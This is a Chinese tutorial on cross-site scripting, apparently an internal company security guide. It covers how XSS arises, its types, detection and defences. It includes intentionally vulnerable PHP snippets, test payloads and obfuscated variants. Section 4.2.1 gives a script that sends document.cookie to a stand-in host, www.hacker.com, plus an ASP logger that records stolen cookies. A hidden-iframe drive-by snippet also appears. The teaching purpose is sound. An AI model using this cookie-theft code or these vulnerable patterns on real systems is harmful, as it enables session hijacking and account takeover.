1 前言

近年来，随着Web2.0的大潮，越来越多的人开始关注Web安全，新的Web攻击手法层出不穷，Web应用程序面临的安全形势日益严峻。

跨站脚本攻击（XSS）就是常见的Web攻击技术之一，由于跨站脚本漏洞易于出现且利用成本低，所以被OWASP列为当前的头号Web安全威胁。

本文将从跨站脚本漏洞的产生原理、攻击手法、检测方法和防御手段四个方面出发，全面的介绍跨站脚本漏洞的方方面面，为开发人员、安全测试人员以及对Web安全感兴趣的同学提供一份跨站脚本漏洞的技术参考手册。

2 跨站脚本漏洞介绍

2.1 什么是跨站脚本漏洞

跨站脚本漏洞（Cross Site Scripting，常简写作XSS）是Web应用程序在将数据输出到网页的时候存在问题，导致攻击者可以将构造的恶意数据显示在页面的漏洞。因为跨站脚本攻击都是向网页内容中写入一段恶意的脚本或者HTML代码，故跨站脚本漏洞也被叫做HTML注入漏洞（HTML Injection）。

与SQL注入攻击数据库服务器的方式不同，跨站脚本漏洞是在客户端发动造成攻击，也就是说，利用跨站脚本漏洞注入的恶意代码是在用户电脑上的浏览器中运行的。

2.2 跨站脚本漏洞的危害

跨站脚本攻击注入的恶意代码运行在浏览器中，所以对用户的危害是巨大的——

也需要看特定的场景：跨站脚本漏洞存在于一个无人访问的小站几乎毫无价值，但对于拥有大量用户的站点来说却是致命的。

最典型的场景是，黑客可以利用跨站脚本漏洞盗取用户Cookie而得到用户在该站点的身份权限。据笔者所知，网上就有地下黑客通过出售未公开的GMail、雅虎邮箱及hotmail的跨站脚本漏洞牟利。

由于恶意代码会注入到浏览器中执行，所以跨站脚本漏洞还有一个较为严重的安全威胁是被黑客用来制造欺诈页面实现钓鱼攻击。这种攻击方式直接利用目标网站的漏洞，比直接做一个假冒网站更具欺骗性。

另外，控制了用户的浏览器，黑客还可以获取用户计算机信息、截获用户键盘输入、刺探用户所处局域网信息甚至对其他网站进行GET Flood攻击。目前互联网已经有此类利用跨站脚本漏洞控制用户浏览器的黑客工具出现。

当然，虽然跨站脚本攻击是在客户端浏览器进行，但是最终也是可以攻击服务器的。笔者就曾在安全测试过程中就利用某Blog程序的跨站脚本漏洞得到网站管理员身份并最终控制Web服务器。

2.3 跨站脚本漏洞的产生

跨站脚本漏洞是如何产生的呢？

大部分Web漏洞都源于没有处理好用户的输入，跨站脚本也不例外。

请看以下一段PHP代码:

```
<?PHP
echo "欢迎您，".$_GET['name'];
?>
```

稍微解释一下，这段PHP代码的意思是在页面输出字符串“欢迎您，”和URL中na

me参数的值，比如用浏览器访问这个文件：http://localhost/test23.php?name=lakehu，页面上就会出现“欢迎您，lakehu”字样。其中lakehu是我们通过URL中的参数name传入的，name的值就是用户的输入。

我们知道，浏览器对网页的展现是通过解析HTML代码实现的，如果我们传入的参数含有HTML代码呢？对，浏览器会解析它而不是原封不动的展示——这个就与Web应用程序的设计初衷相反吧。

这样通过参数访问刚才的PHP页面：http://localhost/test23.php?name=lake<s>hu</s>，你将看到HTML标记被浏览器解释了：

变本加厉的，如果传入一段脚本<script>[code]</script>，那么脚本也会执行。用这样的URL将会执行JavaScript的alert函数弹出一个对话框：http://localhost/test.php?name=lake<script>alert(123456)</script>

通过上面简单的示例我们已经知道，Web应用程序在处理用户输入的时候没有处理好传入的数据格式就会导致脚本在浏览器中执行，这就是跨站脚本漏洞的根源。

2.4 跨站脚本漏洞的分类

2.4.1 非持久型XSS

非持久型XSS（Non-persistent）又叫做反射XSS（Reflect XSS），它是指那些浏览器每次都要在参数中提交恶意数据才能触发的跨站脚本漏洞。

前一节演示的XSS漏洞属于这种类型，因为每次我们都是需要向参数name中提交恶意数据来实现跨站脚本攻击。

一般来说，凡是通过URL传入恶意数据的都是非持久型XSS。当然，也有通过表单POST的XSS例子：

```
<?PHP
echo "欢迎您，".$_POST['name'];
?>
```

Web应用程序获取的参数name已经由GET变为POST了，要触发这个XSS漏洞就要稍微复杂一点，我们需要写一个网页：

```
<form action="http://localhost/test.php" method="post">
<input name="name" value="<script>alert(123456)</script>" type="hidden" />
<input name="ss" type="submit" value="XSS提交测试" />
</form>
```

点击“XSS提交测试”按钮，你就又会看到浏览器弹出了可爱的对话框？

2.4.2 持久型XSS

持久型XSS（Persistent）又叫做存储XSS（Stored XSS），与非持久型XSS相反，它是指通过提交恶意数据到存储器（比如数据库、文本文件等），Web应用程序输出的时候是从存储器中读出恶意数据输出到页面的一类跨站脚本漏洞。

看个例子。

下图是某BBS程序没有处理发帖正文中的恶意代码就直接存储到数据库中：

然后读帖子的时候程序从数据库中读出数据，结果数据中含有的恶意代码在浏览器执行了（此处仅演示弹出对话框）：

这个漏洞是由于程序会把UBB代码[IMG]javascript:alert('XSS')[/IMG]转换成HTML代码：

```
<img src="javascript:alert('XSS')" />
```

IE6会解析上面的HTML代码并执行img标签src属性中的JavaScript代码，导致XSS的发生。

持久型XSS多出现在Web邮箱、BBS、社区等从数据库读出数据的正常页面（比如BBS的某篇帖子中可能就含有恶意代码），由于不需要浏览器提交攻击参数，所以其危害往往大于非持久型XSS。

2.5 跨站脚本漏洞的出现场景

根据数据输出的不同，跨站脚本漏洞一般会出现在以下4个地方，了解了漏洞出现的场景，对我们认识和修复漏洞是有积极意义的。

2.5.1 输出在HTML页面

前面2.3节的PHP代码就是把数据输出到HTML页面的例子。这种情况比较简单，就是把传入的参数值直接显示在页面，主要就是传入的参数中带有“<”和“>”符号会被浏览器解析。

2.5.2 输出在HTML属性中

看这样一段代码：

```
<?PHP
echo "<a href=\"".$_GET['name']."\">Enter</a>";
?>
```

这段PHP代码的意思就是把得到的name参数输出到一段HTML标记的A标签中，假设name的值是test，那么你将得到这样的页面：

Enter

这时我们再武断地给name附上“test<script>alert(123456)</script>”是不会造成XSS攻击的，因为脚本会被浏览器认为是href的值，这时候需要稍微动点脑子才行：http://localhost/test2521.php?name=test">Hi<script>alert(123456)</script><!--

得到这样的页面：

Hi<script>alert(123456)</script><!—">Enter

请注意，蓝色字体为PHP程序输出，而红色字体是我们提交的参数。哈哈，我们提交的“">”和“”闭合了原来的A标签，然后跟上JavaScript代码，之后的A标签的后部分被<--注释掉了。

以上就是传入数据输出到属性中的情况，关键点是我们提交的数据能够闭合属性标签。这个例子是双引号，其实属性也是可以用单引号甚至不用引号的（如果属性的值中没有空格的话就可以不需要引号），道理都是一样的，只要闭合它们就可以了。

2.5.3 输出在JavaScript代码中

JavaScript和HTML结合紧密，所以有时候程序员们就会把参数输出到JavaScript代码中：

```
<?PHP
echo "<script>";
echo "var yourname = '".$_GET['name']."';";
echo "</script>";
?>
```

分析PHP代码输出的页面，我们很容易构造出XSS攻击测试URL：http://localhost/test2531.php?name=a';alert(123456);//

实际上是我们利用单引号闭合了JavaScript代码的变量赋值，然后再执行我们的alert函数（因为PHP5在默认情况下是会自动对传入的单引号转义的，这里只是为了

演示，所以我们认为此处单引号不被转义。即假设PHP的magic_quote_gpc为Off）。

得到的返回页面是这样的：

```
<script>
var yourname = 'a';alert(123456);//';
</script>
```

然后你又看到那个显示123456表示脚本被执行的演示对话框了。

同样的道理，如果是用的双引号做变量赋值就需要传双引号进去破坏掉原来的JavaScript代码。

2.5.4 基于DOM

DOM是Document Object Model（文档对象模型）的缩写。据W3C DOM规范（http://www.w3.org/DOM/），DOM是一种与浏览器，平台，语言无关的接口，使得你可以访问页面其他的标准组件。

简单理解，我们把DOM认为是JavaScript输出的页面，基于DOM的跨站脚本漏洞就是出现在JavaScript代码中的漏洞。请注意，之前的3种输出是属于Web应用程序（CGI程序）代码中的漏洞。

是的，你没有看错，含有JavaScript静态HTML页面也可能会存在XSS漏洞。

以下是一段存在DOM类型跨站脚本漏洞的代码：

```
<script>
document.write(window.location.search);
</script>
```

在JS中window.location.search是指URL中?之后的内容，document.write是将内容输出到页面。于是乎，又是一个直接输出到页面的跨站脚本漏洞。好，来构造攻击URL：http://localhost/test2541.php?<script>alert(123456)</script>

但是查看网页源代码，源代码却没变：

这就是DOM，在浏览器的解析中改变页面结构。这种特性检测DOM的跨站脚本漏洞带来了一点麻烦，因为它不能通过页面源代码来判断漏洞，给自动化漏洞检测带来了挑战。

3 跨站脚本漏洞检测技术

3.1 黑盒测试

黑盒测试是指在不知道源代码的情况下通过各种技术手段对Web应用程序进行的探测，这个就是从黑客的视角去发现问题。

3.1.1 测试原理

测试跨站脚本漏洞的原理很简单，就是我们尝试提交可能有问题的数据，然后分析返回页面。

一般是修改参数值为一个标志字符串，然后搜索页面是否含有该字符串。如果有，说明页面会把参数输出。接着就是分析返回页面构造攻击参数，前面2.5提到了4种场景，根据不同的场景有不同的攻击参数。

以2.3节中的代码为例，要测试这个URL，我们就先提交http://localhost/test23.php?name=XSSTest，然后在返回的页面中搜索到字符“XSSTest”，说明name参数的值是直接输出到页面的。接着我们分析页面，发现name参数的值是直接输出到页面的，所以跟着提交一个含有HTML标记的字符串：http://localhost/test23.php?name=<b>XSS<

/b>，返回页面中仍然发现有“XSS”，而且页面中的“XSS”已经被浏览器解析，至此，可以判断该URL存在跨站脚本漏洞。

对于DOM跨站脚本漏洞的测试，就不能搜索页面源代码是否含有传入的标志字符串了，稍微复杂一点，可能需要阅读JavaScript代码、观察页面内容并查看页面是否出现JavaScript代码异常等行为。常见的出问题的代码是eval、document.write、document.writeln、window.exeScript、标签的innerHTML属性、标签的src属性。

3.1.2 常用测试用例

因为跨站脚本漏洞是在浏览器中执行的，而各个浏览器对HTML标签及JavaScript解释有所不同，所以攻击代码其实就根据浏览器的不同而不同。

比如下面的HTML在IE6下会执行JavaScript弹出对话框，但是在IE7及Firefox下就不会执行：

```
<img src="javascript:alert(123456)" />
```

而且就上面一段测试用例就还有很多种变形，以下是一小部分：

```
<img src="javasc
 ript:alert(123456)" />
```

回车分割

```
 <img src="jav ascript:alert(123456)" />
```

Tab分割

```
 <IMG
SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;
&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;123456&#39;&#41;>
```

面对XSS漏洞的那么多用例和变形，是不是有些头晕了？呵呵，好在有个叫Rsna

ke的老外按照浏览器分类及变形归纳了一份XSS测试手册（XSS Cheat Sheet），你可以去他的网站找到它：http://ha.ckers.org/xss.html

如图所示，XSS Cheat Sheet几乎归纳了所有的XSS利用形式及支持的浏览器，实在是XSS研究的最佳资料。

3.1.3 测试自动化——使用Web漏洞扫描器

当我们熟练了之后，测试就是体力活了，而且URL数量很多的话人工也忙不过来，所以我们要把测试工作自动化。

这个时候可以使用Web漏洞扫描器来实现对跨站脚本漏洞的检测，免费的软件有ProxyStrike、Paros、WebScarab等，商业的扫描器有AppScan、WebInspect等，这些都是比较自动化进行Web漏洞测试的工具，有兴趣的同学可以google一把下载来试用。

当然，扫描器只是提高效率的工具，并不能完全代替手动测试，因为扫描器受到规则和技术的限制，可能会有误报甚至漏报。比如BBS发帖这种交互性很强的地方扫描器很难对其进行测试——人工测试还是必不可少的。

3.2 白盒测试

白盒测试就是阅读代码找漏洞了，这种测试方案适合公司内部以及开源项目。这种基于代码检测的方案也叫做代码审计（Code Audit）。

3.2.1 测试原理

简单的说，就是根据相关语言定义一些可能导致跨站脚本漏洞的函数（一般为输出函数），然后去找检查这些函数的参数是否由外部传入且未经过安全处理。

比如PHP，就是检查echo、print函数的参数是否来自外部并且没有经过防跨站处理就直接显示到页面；对ASP来说，就是response.write之类的输出函数。

比如这样的PHP代码就有问题：

```
<?PHP
 echo “欢迎您，”.$_GET[‘name’];
?>
```

这个时候就先定位echo函数，然后发现其输出的值来自外部（$_GET[‘name’]）而且未作安全处理。

其他的语言也是一样的道理。

3.2.2 测试自动化——使用代码审计工具

还是使用工具来提高效率，针对不同的语言，有不同的代码审计工具。比如微软提供的检查.Net代码跨站脚本漏洞的工具XSS Detect Beta Code Analysis Tool（http://www.microsoft.com/downloads/details.aspx?FamilyID=19a9e348- bdb9-45b3-a1b7-44ccdcb7cfbe&DisplayLang=en）就很不错。

这里主要是选择支持你要测试的Web应用程序开发语言的代码审计工具。

4 跨站脚本攻击技术

4.1 如何发动攻击

针对XSS漏洞的两种不同类型，利用方式也是不一样的。

4.1.1 非持久型XSS攻击

非持久型XSS漏洞实际上大多数攻击数据是包含在URL中的，类似这样的：http://www.vicitim.com/vul.asp?hi=[code]。

需要用户的浏览器访问到这个URL恶意代码才执行，攻击者一般会把URL发给用户让用户通过浏览器去访问。不过URL里面带有稀奇古怪的代码确实有点奇怪，为了掩人耳目，攻击者可以发一个看起来没问题的URL，再通过那个页面跳转到恶意的URL；甚至也可以让一个域名转向到恶意URL，把那个域名发给用户。

4.1.2 持久型XSS攻击

持久型XSS攻击就简单一点，只要第一次把攻击代码提交到服务器就一劳永逸了。

比如我在某个论坛发帖的时候，论坛没有对传入的HTML作处理，那么我就可以发一个帖子内容包含“<script>[code]</script>”的帖子。呵呵，然后就守株待兔地等着来看帖子的人执行恶意脚本了。

持久型XSS漏洞是把恶意脚本存储到了数据库，访问页面的时候完全没有预兆，所以它的危害也比非持久型XSS略微高一点。

4.2 常见攻击手法

4.2.1 盗取Cookie

Cookie是Web程序识别不同的用户的标识，如果得到某人的Cookie，黑客就可以以他的身份登陆网站了，所以跨站脚本攻击的第一个目标就是拿到它。想一想，如果是Web邮箱有一个XSS漏洞，当你查看一封邮件的时候，你的身份标识已经被别人拿到，黑客就可以自由出入你的邮箱了。

在JavaScript中可以使用document.cookie来获得当前浏览器的Cookie，所以我们一般是执行这样的代码来获得Cookie并发送到某个地方记录之：

```
<script>
document.write("<img
src=http://www.hacker.com/getcookie.asp?c="+escape(document.cookie)+">");
</script>
```

这段代码就是输出img标签并访问黑客的Web服务器的一个ASP程序。注意，这里是把当前的Cookie作为参数发送出去了哦（为了避免出现特殊字符，这里使用了escape函数对Cookie进行URL编码）。我们看看抓包的结果：

然后在www.hacker.com上的getcookie.asp需要记录传入的参数（就是受害用户的Cookie啦），代码是这样的：

```
<%
if Request("c")<>"" then
Set fs = CreateObject("Scripting.FileSystemObject")
Set outfile=fs.OpenTextFile(server.mappath("a.txt"),8,True)
outfile.WriteLine Request("c")
outfile.close
Set fs = Nothing
end if
%>
```

一旦有cookie发过来，ASP程序就会把cookie写入到当前目录的a.txt文件中。

有了Cookie，黑客就可以找一个自定义Cookie的浏览器以用户身份访问Web了。

4.2.2 盗取Cookie升级版——保持会话

前面一节讲的黑客可以记录Cookie，是的，存储型Cookie倒没问题，但是如果是会话型Cookie（也就是Session）的话，过一段时间如果用户不访问页面Session也就失效了。

为了解决Session时效性的问题，所以出现了实时记录Cookie并不断刷新页面保持Session的程序——SessionKeeper：

这个工具的原理是得到用户Cookie后会自动模拟浏览器提交请求不断刷新页面以维持Session的存在。

4.2.3 页面劫持——挂马和钓鱼攻击

当然，黑帽子黑客之所以是黑帽子的原因是经济动力，所以跨站脚本攻击也会被他们利用来为自己产生经济效益。

挂马和钓鱼是两个最好不过的生财之道了。

所谓挂马就是在网页中添加一些恶意代码，这些代码是利用了浏览器及ActiveX控件的漏洞进行攻击的。如果你的机器上不幸存在这些漏洞，那你访问到这个页面的时候你就中木马了。在挂马行业，中你木马的人越多，你的收益就越高。

在XSS的攻击代码中，需要用iframe或者script甚至弹出窗口引入含有网页木马的恶意代码网页/文件。类似的代码（http://hacker是一个包含恶意代码的页面）：

```
<iframe width="0" height="0" src="http://hacker"></iframe>
```

钓鱼攻击（Phishing Attack）我想大家都看到过，就是经常在QQ、QQ游戏、空间等地方看到的中奖信息。利用XSS漏洞的钓鱼更加隐蔽且更具欺骗性。

因为JavaScript脚本功能强大，我们可以利用它来更改整个页面内容，所以我们就可以制造出利用真的目标域名的假页面：

其实只是一个XSS引入JavaScript代码修改了页面元素而已：

原来的页面：

4.2.4 XSS蠕虫的故事

我们把那种感染能进行自我复制和传播的病毒叫做蠕虫病毒。当年攻击机器无数、造成巨大破坏的的冲击波、震荡波病毒就是蠕虫病毒。这些传统的蠕虫病毒是依靠远程缓冲区溢出进行传播，在Web2.0时代，蠕虫病毒可以利用跨站脚本漏洞进行传播。

百度空间在07年圣诞就遭到过XSS蠕虫的传播。

当时百度空间自定义CSS的地方过滤不严导致出现一个持久型XSS漏洞。2007年12月25日晚，有黑客写出了利用这个漏洞进行XSS攻击并自我传播的JavaScript恶意代码。感染该蠕虫的空间将会在空间中存在恶意代码并修改访问该空间的其他百度空间用户的CSS植入XSS攻击代码，还会向好友发送消息诱骗好友来访问中毒的空间。截至26日晚7点百度空间找到原因并修复漏洞，有大于8000个用户空间感染了蠕虫代码。

幸好百度空间及时发现蠕虫并修复漏洞，随着时间的增加，被感染的空间将以几何级增长。由此可见，一旦在业务爆发XSS蠕虫将给业务带来巨大的损失。

5防御跨站脚本攻击

5.1 编写安全的代码

经过第二章我们知道，跨站脚本漏洞是由于程序在输出数据的时候没有作好处理导致恶意数据被浏览器解析造成的。所以，对付XSS漏洞最好的办法就是编写安全的代码。

5.1.1 安全的处理数据

第二章中提到跨站脚本漏洞出现的几个场景，我们只要在输出数据的时候处理按输出的场景好数据就可以了。

直接输出在页面的数据需要对“<”、“>”HTML编码：

< 编码为 <
> 编码为 >

输出在HTML属性中的数据不能让属性值被闭合。用双引号(")表示的属性需要编码属性值中的双引号：

" 编码为"

用单引号(')表示的属性需要编码属性值中的单引号：

' 编码为'

输出到页面JavaScript中的代码也要注意编码。这个要视具体情况而定，比如2.5.3中提到的PHP代码：

```
<?PHP
echo "<script>";
echo "var yourname = '".$_GET['name']."';";
echo "</script>";
?>
```

实际上需要用单引号(')闭合JavaScript代码，这里就需要按照JavaScript的语法把单引号转义：

' 转义为 \'

这样就无法通过传入单引号来闭合代码了。但是还是可以利用传入“</script>”来闭合整个script标签（在JavaScript语法中，</script>闭合标签总是优先）：

```
<script>
var yourname = 'a</script><script>alert()//';
</script>
```

所以我们还编码传入的“<”和“>”。

前面还提到的IE6下img标签的XSS漏洞：

```
<img src="javascript:alert(123456)" />
```

这里就要限制img标签的src属性始终以http://或https://开头（白名单匹配）。

OK，我们总结一下，防御跨站脚本漏洞的安全编码工作主要是编码输出在页面中会破坏原有代码（HTML、JavaScript甚至WML等）规则的特殊字符以及对某些标签的某些属性进行白名单检查。

5.1.2 提高攻击门槛

跨站脚本攻击的主要目标之一是盗取Cookie，所以我们可以利用浏览器的安全特性来防御Cookie的盗取。注意一点，本节内容只是在存在XSS攻击的情况下减小XSS攻击的危害并提高攻击门槛，并不能完全防止XSS攻击——杜绝XSS攻击的根源还是安全的编码。

一般来说，公司的站点很多，单独的业务就可以在子域下设置自己的cookie，而不需要别的子域使用你的cookie。比如show.qq.com的cookie就不需要在其他域下使用。这样的话，我们可以通过设置cookie的作用域来减少cookie的暴露面。在HTTP响应头的Set- Cookie字段设置域限制：

```
Set-Cookie: a=123; domain=show.qq.com
```

这样“a=123”就只有在show.qq.com下才能访问了。

同理，甚至我们可以限制cookie在某一子域名某个目录下存在，在别的目录将无法访问这个cookie：

Set-Cookie: a=123; path=/test

“a=123”就只有在当前网站下的test目录才能访问了。即使test2目录出现XSS漏洞，攻击者也拿不到“a=123”这个cookie。

另外，在设置Cookie的时候，可以附加一个HTTPOnly的属性，这样的话，当浏览器向Web服务器发起请求的时就会带上cookie字段，但是在脚本中却不能访问这个cookie，这样就避免了XSS攻击利用JavaScript的document.cookie获取cookie：

Set-Cookie: a=123; HTTPOnly;

以上的字段都可以在程序中设置的。

5.2 在客户端防御

如果Web应用程序安全性好，就不存在XSS攻击。但是这个毕竟对开发人员要求太高，目前来说大部分网站还不能做到避免XSS漏洞，所以有时候我们需要在客户端进行防御（特别是在对安全要求特别高的情况）。

完全禁止JavaScript？这是个因噎废食的办法。不能因为互联网上有病毒和黑客，我们就不上网了是不是。

在firefox下有一款插件叫做NoScript就是专用于防止XSS攻击的；IE运气没有这么好，不过可以把安全级别设置为高，并使用白名单只允许在信任的站点运行脚本、flash和Java小程序。

6 安全中心的技术支持

广告时间^_^

6.1 TCodeScan

TCodeScan是安全中心开发的代码审计工具，目前支持对C、C++、PHP代码的检查。详细介绍：http://soc.itil.com/tcodescan/index.html

6.2 CGI扫描器

CGI扫描器是安全中心开发的针对Web漏洞的黑盒测试工具。它能够检测包括跨站脚本漏洞、SQL注入漏洞、跳转漏洞、info漏洞在内的常见Web漏洞。

同时，根据公司的《上线前安全检查规范》，公司所有的CGI业务上线前都要通过CGI扫描器的检查。

地址：http://soc.itil.com/inscan

6.3 CGI安全API

CGI安全API是安全中心为Web应用程序提供的一套Web漏洞解决方案，主要针对SQL注入漏洞和跨站脚本漏洞等常见漏洞。目前支持的语言包括C、C++、Java、JavaScript。

详情请见：http://soc.itil.com/sec_api/index.html